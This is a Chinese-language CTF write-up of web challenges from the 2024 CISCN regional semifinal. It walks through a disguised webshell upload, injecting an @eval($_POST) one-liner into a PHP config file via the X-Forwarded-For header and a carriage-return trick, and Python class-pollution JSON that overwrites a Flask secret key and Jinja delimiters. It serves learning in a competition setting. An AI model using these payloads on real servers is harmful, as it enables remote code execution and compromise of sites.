期末周终于结束了 也开始有时间做自己喜欢的事情了 先水一篇

2024ciscn 华东南赛区半决赛-web 学习

welcome

image-20240630091438276

submit

存在两个检验 一个header检验 一个文件内容检验 上传一个变形后门就行

image-20240630091528713

上传链接得到flag

image-20240630091610401

粗心的程序员

www.zip存在文件泄露 审计源码

主要问题出现在home.php内

image-20240630093710460

很明显的文件写入 这里可以写入恶意命令到comfig.php内造成命令执行 注意到存在两个可以控制的点

$p和$username

闭合后缀

注意到存在//作为注释符号限制了我们的恶意代码 但是注意到confige.php里面不存在?>

image-20240630100501320

可以使用伪造xff 包含?> 绕过限制

image-20240630100553483

构造用户名字为?><?php 绕过对xff的限制 xff写入一句话木马即可

image-20240630101218634

/r截断

但是上面那个我铸币了 比赛的时候没做出来

本来想的是\n 可以绕过 但是发现对str处理了 去掉了\n 于是我就想到了\r这个符号

1
2
\r :将当前位置移到本行开头。又叫回车,对应键盘上的return键
\n:将当前位置移到下一行开头。又叫换行,newline。

如果我拼接的语句里面存在\R会发生什么呢

1
2
3
4
<?php
$a="test";
$b="\rpayload";
echo($a.$b);

查看输出

image-20240630101835007

可以看到 \r将我们的指针指向第一位的t上 我们\r后的输入内容会逐个覆盖前面的相关输入

1
2
3
4
<?php
$a="test";
$b="\r1";
echo($a.$b);

image-20240630101942298

我们可以利用这个地方 覆盖掉前面的//注释符号

由于xff不能携带\r 只能构造username=\r@eval($_POST[‘1’]);\即可

1
2
3
<?php
$a="\r@eval(\$_POST[1]);//";
echo base64_encode($a);

Polluted

很奇怪的路由配置

污染app.key即可

1
2
3
4
5
6
{"\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"{
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {
"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {
"\u0061\u0070\u0070" : {
"\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079" :"test"
}}}}}

发现需要污染[%%]标识符

1
2
3
4
{ "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {
"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {
"\u0061\u0070\u0070" : {
"\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076" :{"\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"[%","\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"%]"}}}}}

污染标识符还是第一次见到 回头细细分析一下

bigfish

nodejs反序列化 没有接触过先放放